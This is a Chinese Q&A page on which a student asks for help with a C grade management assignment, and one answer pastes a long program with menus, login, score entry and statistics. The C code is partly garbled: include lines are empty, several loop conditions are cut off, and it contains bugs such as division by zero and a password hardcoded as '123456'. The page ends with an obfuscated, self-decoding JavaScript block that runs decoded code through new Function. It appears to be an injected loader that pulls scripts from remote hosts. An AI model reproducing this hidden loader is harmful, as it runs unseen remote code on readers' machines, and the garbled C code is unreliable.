C语言作业问题 成绩管理系统 编了一大堆 越错越多 求高手救命 发一篇 给步骤加解释的 更好.

2025-02-23 07:27:22
推荐回答(1个)
回答1:

你既然没有给邮箱,我就直接发了,希望给分,采纳!!!有生成的exe,要的话,给qq

以下是代码

#include
#include
#include
#include
#include
struct student
{
long int xuehao;
char name[20];
int xueqi;
float shuxue;
float yuwen;
float yingyu;
float pingjun;
}stu[100];
float bjzongfen=0,bjsxzongfen=0,bjyyzongfen=0,bjywzongfen=0,bjpingjun=0;
float sxpingjun=0,ywpingjun=0,yypingjun=0;
int bujige=0,jige=0,zhong=0,liang=0,you=0;
int i=0;
void main()
{
void denglu();
void caidan();
system("color 60");
stu[0].xuehao=0;
denglu();
caidan();

}
/*登陆界面(指针变量)*/
void denglu()
{
void caidan();
char zhanghao,*p3;
long int mima,*p2;
int *p1,xiangmu,k;
printf("**************************欢迎使用学生成绩信息管理系统**************************");
printf("\t\t1.登陆管理系统\t\t\t2.退出系统\n\n");
printf("请选择项目:");
cx: scanf("%d",&xiangmu);
p1=&xiangmu;
if(*p1==1)
{
/*只能错误三次,三次之后关闭系统*/
for(k=0;k<3;)
{

if(k==3)
{exit(0);}
printf("\t\t\t用户名:");
scanf("%s",&zhanghao);
p3=&zhanghao;
printf("\t\t\t密码 :");
scanf("%d",&mima);
p2=&mima;
if(strcmp(p3,"lxj")==0&&*p2==123456)
{system("cls");printf("**************************学生成绩信息管理系统登陆成功**************************\n\n");caidan();}
else{printf("##############################输入用户名或密码有误##############################\n\n");
printf("######################你已错误%d次,错误三次后关闭管理系统######################\n\n",k+1);
printf("\t\t\t~~~~~~~~请重新输入~~~~~~~~\n");
k++;}
}
}
else if(*p1==2)
{exit(0);}
else {printf("选择有误,请重新选择:");goto cx;}
}
/*信息输入*/
void shuru()
{
void shuju();
void caidan();
int k;
printf("#######################请注意:所有成绩均为百分制,请注意换算####################\n");
for(;i<100;i++)
{
printf("###############################请输入第%d名学生的信息############################\n",i+1);
printf("##############################学号输入 0,信息录入结束###########################\n");
printf("第%d名学生的学号(不能输入重复学号):",i+1);
sxh: scanf("%d",&stu[i].xuehao);
if(stu[0].xuehao==0)
{
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
system("cls");caidan();
}
for(k=0;k {
if(stu[i].xuehao ==stu[k].xuehao)
{
printf("该学号已存在,请为该学生重新输入新学号:");
goto sxh;
}
}
if(stu[i].xuehao==0)
{system("cls");caidan();}
else{printf("第%d名学生的姓名:",i+1);
scanf("%s",&stu[i].name );
printf("第%d名学生的学期:",i+1);
scanf("%d",&stu[i].xueqi );
printf("第%d名学生的数学成绩:",i+1);
scanf("%f",&stu[i].shuxue );
printf("第%d名学生的语文成绩:",i+1);
scanf("%f",&stu[i].yuwen );
printf("第%d名学生的英语成绩:",i+1);
scanf("%f",&stu[i].yingyu );
printf("\n");}
shuju();
}

}
/*数据计算*/
void shuju()
{
void caidan();
int k=i;
stu[k].pingjun=(stu[k].yingyu+stu[k].yuwen+stu[k].shuxue)/3;
bjzongfen=bjzongfen+stu[k].yingyu+stu[k].yuwen+stu[k].shuxue;bjpingjun=bjzongfen/(k+1);
bjsxzongfen+=stu[k].shuxue;sxpingjun=bjsxzongfen/(k+1);
bjywzongfen+=stu[k].yuwen;ywpingjun=bjywzongfen/(k+1);
bjyyzongfen+=stu[k].yingyu;yypingjun=bjyyzongfen/(k+1);
if(stu[k].pingjun<60)
bujige+=1;
else if(stu[k].pingjun>=60)
jige+=1;
if(stu[k].pingjun>=60&&stu[k].pingjun<75)
liang+=1;
else if(stu[k].pingjun>=75&&stu[k].pingjun<90)
zhong+=1;
else if(stu[k].pingjun>=90&&stu[k].pingjun<=100)
you+=1;
}
/*功能菜单*/
void caidan()
{
void shuru();
void shuchu();
void xiugai();
void chazhao();
void shanchu();
int gongneng;
jixu: printf("1.输入新的学生信息\t\t\t2.输出已有全部学生信息\n\n");
printf("3.查看该班级所有学科总分及平均分\t4.查看该班级数学成绩总分及平均分\n\n");
printf("5.查看该班级语文成绩总分及平均分\t6.查看该班级英语成绩总分及平均分\n\n");
printf("7.查看该班级平均成绩(<60)不及格总人数\t8.查看该班级平均成绩(>=60)及格总人数\n\n");
printf("9.查看该班级平均成绩良好【60~75)总人数\t10.查看该班级平均成绩中等【75~90)总人数\n");
printf("11.查看该班级平均成绩优【90~100】总人数\t12.修改已有学生信息\n\n");
printf("13.查找已输入的单个学生信息\t\t14.删除一个已有学生信息\n\n");
printf("15.添加新的学生信息\t\t\t16.退出学生成绩管理系统\n\n");
printf("\t\t\t请选择您需要的功能项:");
chongshu: scanf("%d",&gongneng);
switch(gongneng)
{
case 1:{bjzongfen=0,bjsxzongfen=0,bjyyzongfen=0,bjywzongfen=0,bjpingjun=0;
sxpingjun=0,ywpingjun=0,yypingjun=0;
bujige=0,jige=0,zhong=0,liang=0,you=0;
i=0;
system("cls");shuru();}
case 2:{system("cls");shuchu();caidan();}
case 3:{
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");
printf("该班级所有学科总分为%0.2f,班级人均平均分为%0.2f\n\n",bjzongfen,bjpingjun);goto jixu;}
;
case 4:{
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级数学成绩总分为%0.2f,平均分为%0.2f\n\n",bjsxzongfen,sxpingjun);goto jixu;}
case 5:{
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级语文成绩总分为%0.2f,平均分为%0.2f\n\n",bjywzongfen,ywpingjun);goto jixu;}
case 6:{if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级英语成绩总分为%0.2f,平均分为%0.2f\n\n",bjyyzongfen,yypingjun);goto jixu;}
case 7:{if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级平均成绩不及格(平均成绩<60)的同学有%d位\n\n",bujige);goto jixu;}
case 8:{if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级平均成绩及格(平均成绩>=60)的同学有%d位\n\n",jige);goto jixu;}
case 9:{if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级平均成绩为良【60~75)的同学有%d位\n\n",liang);goto jixu;}
case 10:{if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级平均成绩中等【75~90)的同学有%d位\n\n",zhong);goto jixu;}
case 11:{if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}system("cls");printf("该班级平均成绩优秀【90~100】的同学有%d位\n\n",you);goto jixu;}
case 12:{system("cls");xiugai();}
case 13:{system("cls");chazhao();}
case 14:{system("cls");shanchu();}
case 15:{system("cls");shuru();}
case 16:{exit(0);}
default:{printf("输入有误,请重新输入:");goto chongshu;}
}
}
/*信息输出*/
void shuchu()
{
void caidan();
int k;
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}
printf("该班级学生成绩信息如下:\n");
printf("学号\t\t姓名\t学期\t数学\t语文\t英语\t三科平均分\n");
for(k=0;k {
printf("%d\t\t%s\t%d\t",stu[k].xuehao ,stu[k].name ,stu[k].xueqi );
printf("%0.1f\t%0.1f\t%0.1f\t%0.2f\n",stu[k].shuxue ,stu[k].yuwen ,stu[k].yingyu ,stu[k].pingjun );
}

}
/*修改信息*/
void xiugai()
{
void caidan();
void shuju();
void jisuan();
void shuchu();
int xgxx,k,xgxm,g;
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}shuchu();
printf("请输入需要被修改学生信息的学号:\n");
chongshu: scanf("%d",&xgxx);
for(k=0;k<=i;k++)
{
if(k==i)
{printf("查无此学号!!!请重新输入需要修改信息学生的学号:\n"); goto chongshu;}

if(xgxx==stu[k].xuehao)
{system("cls");
printf("需要被修改的学生的原始信息:\n");
printf("学号\t\t姓名\t学期\t数学\t语文\t英语\t三科平均分\n");
printf("%d\t\t%s\t%d\t",stu[k].xuehao ,stu[k].name ,stu[k].xueqi );
printf("%0.1f\t%0.1f\t%0.1f\t%0.2f\n",stu[k].shuxue ,stu[k].yuwen ,stu[k].yingyu ,stu[k].pingjun );
printf("\n");
printf("1.学号 2.姓名 3.学期 4.数学成绩 5.语文成绩 6.英语成绩 7.返回主菜单 \n");
printf("8.退出管理系统 9.该学生所有信息\n");
printf("请输入需要修改的项目序号:");
cs: scanf("%d",&xgxm);
switch(xgxm)
{
case 1:{
printf("将该学生原始学号修改为(不能输入重复学号):");
gsxh: scanf("%d",&stu[k].xuehao);
for(g=0;g {
if(g!=k&&stu[k].xuehao ==stu[g].xuehao)
{
printf("该学号已存在,请为该学生重新输入新学号:");
goto gsxh;
}
}
printf("###############################该学生信息已修改#################################\n");
system("cls"); caidan();
}
case 2:{printf("将该学生原始姓名修改为:");scanf("%s",&stu[k].name);system("cls");
printf("###############################该学生信息已修改#################################\n");
caidan();}
case 3:{printf("将该学生原始学期号修改为:");scanf("%d",&stu[k].xueqi);system("cls");
printf("###############################该学生信息已修改#################################\n");
caidan();}
case 4:{printf("将该学生原始数学成绩修改为:");scanf("%f",&stu[k].shuxue);jisuan();system("cls");
printf("###############################该学生信息已修改#################################\n");
caidan();}
case 5:{printf("将该学生原始语文成绩修改为:");scanf("%f",&stu[k].yuwen );jisuan();system("cls");
printf("###############################该学生信息已修改#################################\n");
caidan();}
case 6:{printf("将该学生原始英语成绩修改为:");scanf("%f",&stu[k].yingyu );jisuan();system("cls");
printf("###############################该学生信息已修改#################################\n");
caidan();}
case 7:{caidan();}
case 8:{exit(0);}
case 9:{
printf("将该学生原始学号修改为:");scanf("%d",&stu[k].xuehao);
printf("将该学生原始姓名修改为:");scanf("%s",&stu[k].name);
printf("将该学生原始学期号修改为:");scanf("%d",&stu[k].xueqi);
printf("将该学生原始数学成绩修改为:");scanf("%f",&stu[k].shuxue);
printf("将该学生原始语文成绩修改为:");scanf("%f",&stu[k].yuwen );
printf("将该学生原始英语成绩修改为:");scanf("%f",&stu[k].yingyu );
jisuan();system("cls");
printf("###############################该学生信息已修改################################\n");
caidan();
}

default:{printf("输入有误,请重新准确输入需要修改的项目序号:");goto cs;}
}
break;
}
}
}
/*查找单个学生信息*/
void chazhao()
{
void caidan();
int xgxx,k;
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}
printf("请输入需要查询学生的学号:\n");
scanf("%d",&xgxx);
for(k=0;k<=i;k++)
{
if(k==i)
{system("cls");printf("查无此学号!!!请检查输入学号是否正确。\n\n"); caidan();}
if(xgxx==stu[k].xuehao)
{ system("cls"); printf("该学生的成绩信息为:\n");
printf("学号\t\t姓名\t学期\t数学\t语文\t英语\t三科平均分\n");
printf("%d\t\t%s\t%d\t",stu[k].xuehao ,stu[k].name ,stu[k].xueqi );
printf("%0.1f\t%0.1f\t%0.1f\t%0.2f\n",stu[k].shuxue ,stu[k].yuwen ,stu[k].yingyu ,stu[k].pingjun );
printf("\n");caidan();
}
}
caidan();
}
/*修改后的数据计算*/
void jisuan()
{
int g;
/*数据清零*/
bjzongfen=0,bjsxzongfen=0,bjyyzongfen=0,bjywzongfen=0,bjpingjun=0;
sxpingjun=0,ywpingjun=0,yypingjun=0;
bujige=0,jige=0,zhong=0,liang=0,you=0;
for(g=0;g {
stu[g].pingjun=(stu[g].yingyu+stu[g].yuwen+stu[g].shuxue)/3;
bjzongfen=bjzongfen+stu[g].yingyu+stu[g].yuwen+stu[g].shuxue;
bjpingjun=bjzongfen/g;
bjsxzongfen+=stu[g].shuxue;sxpingjun=bjsxzongfen/g;
bjywzongfen+=stu[g].yuwen;ywpingjun=bjywzongfen/g;
bjyyzongfen+=stu[g].yingyu;yypingjun=bjyyzongfen/g;
if(stu[g].pingjun<60)
bujige+=1;
else if(stu[g].pingjun>=60)
jige+=1;
if(stu[g].pingjun>=60&&stu[g].pingjun<75)
liang+=1;
else if(stu[g].pingjun>=75&&stu[g].pingjun<90)
zhong+=1;
else if(stu[g].pingjun>=90&&stu[g].pingjun<=100)
you+=1;
}
bujige=bujige-1;
}
/*删除学生信息*/
void shanchu()
{
void caidan();
void jisuan();
void shuchu();
int xgxx,k,queren;
if(stu[0].xuehao==0)
{system("cls");
printf("…############################################################################…");
printf("\n……………………………学生成绩管理系统中未输入学生成绩信息……………………………\n");
printf("…############################################################################…\n");
caidan();
}shuchu();
printf("请输入需要删除学生的学号:\n");
scanf("%d",&xgxx);
for(k=0;k<=i;k++)
{
if(k==i)
{system("cls");printf("查无此学号!!!请检查输入学号是否正确。\n\n"); caidan();}
if(xgxx==stu[k].xuehao)
{ system("cls"); printf("该学生的成绩信息为:\n");
printf("学号\t\t姓名\t学期\t数学\t语文\t英语\t三科平均分\n");
printf("%d\t\t%s\t%d\t",stu[k].xuehao ,stu[k].name ,stu[k].xueqi );
printf("%0.1f\t%0.1f\t%0.1f\t%0.2f\n",stu[k].shuxue ,stu[k].yuwen ,stu[k].yingyu ,stu[k].pingjun );
printf("\n");
printf("\t1.确认删除该学生信息\t\t\t2.返回主菜单\n");
printf("\t\t\t\t请选择:");
cqr: scanf("%d",&queren);
switch(queren)
{
case 1:
{
for(;k {
stu[k]=stu[k+1];
}
jisuan();system("cls");
printf("###############################该学生信息已删除#################################\n");
i=i-1;
caidan();
}
case 2:{system("cls");caidan();}
default:{printf("输入有误,请重新输入:");system("cls");goto cqr;}
}
}
}

}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();